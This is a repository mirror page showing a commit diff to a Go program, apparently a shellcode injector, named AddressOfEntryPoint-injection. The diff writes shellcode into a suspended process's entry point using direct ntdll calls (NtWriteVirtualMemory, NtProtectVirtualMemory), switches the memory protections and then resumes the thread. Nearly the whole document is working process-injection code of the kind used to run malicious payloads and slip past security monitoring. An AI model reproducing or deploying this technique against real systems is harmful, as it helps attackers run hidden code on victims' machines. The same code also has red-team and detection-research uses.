admin/timwhitez-AddressOfEntryPoint-injection
1
0
Fork 0
mirror of https://github.com/timwhitez/AddressOfEntryPoint-injection synced 2026-06-08 17:50:22 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update AddressOfEntryPoint.go

Browse Source
This commit is contained in:
TimWhite
2021-10-08 18:55:36 +08:00
committed by GitHub
parent bb050f5171
commit 5290d87cbc
1 changed files with 7 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
golang/AddressOfEntryPoint.go
+7 -1
View File
@@ -159,19 +159,24 @@ func main(){
//WriteProcessMemory := k32.NewProc("WriteProcessMemory")
//WriteProcessMemory.Call(uintptr(pi.Process), codeEntry, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)),0)
NTWVM := syscall.NewLazyDLL("ntdll").NewProc("NtWriteVirtualMemory")
NtProtectVirtualMemory := syscall.NewLazyDLL("ntdll").NewProc("NtProtectVirtualMemory")
var old uintptr
NtProtect(NtProtectVirtualMemory,uintptr(pi.Process),codeEntry,uintptr(len(shellcode)),syscall.PAGE_READWRITE,&old)
NTWVM.Call(uintptr(pi.Process),codeEntry,uintptr(unsafe.Pointer(&shellcode[0])),uintptr(len(shellcode)),0)
NtProtect(NtProtectVirtualMemory,uintptr(pi.Process),codeEntry,uintptr(len(shellcode)),syscall.PAGE_EXECUTE_READ,&old)
NtProtect(NtProtectVirtualMemory,uintptr(pi.Process),codeEntry,uintptr(len(shellcode)),old,&old)
windows.ResumeThread(pi.Thread)
}
func NtProtect(NtProtectVirtualMemory *syscall.LazyProc,pHndl uintptr,targetPtr uintptr, sSize uintptr,protect uintptr,oldProtect *uintptr)(uintptr,uintptr,error){
r1,r2,lastErr := NtProtectVirtualMemory.Call(
pHndl,
@@ -182,3 +187,4 @@ func NtProtect(NtProtectVirtualMemory *syscall.LazyProc,pHndl uintptr,targetPtr
)
return r1,r2,lastErr
}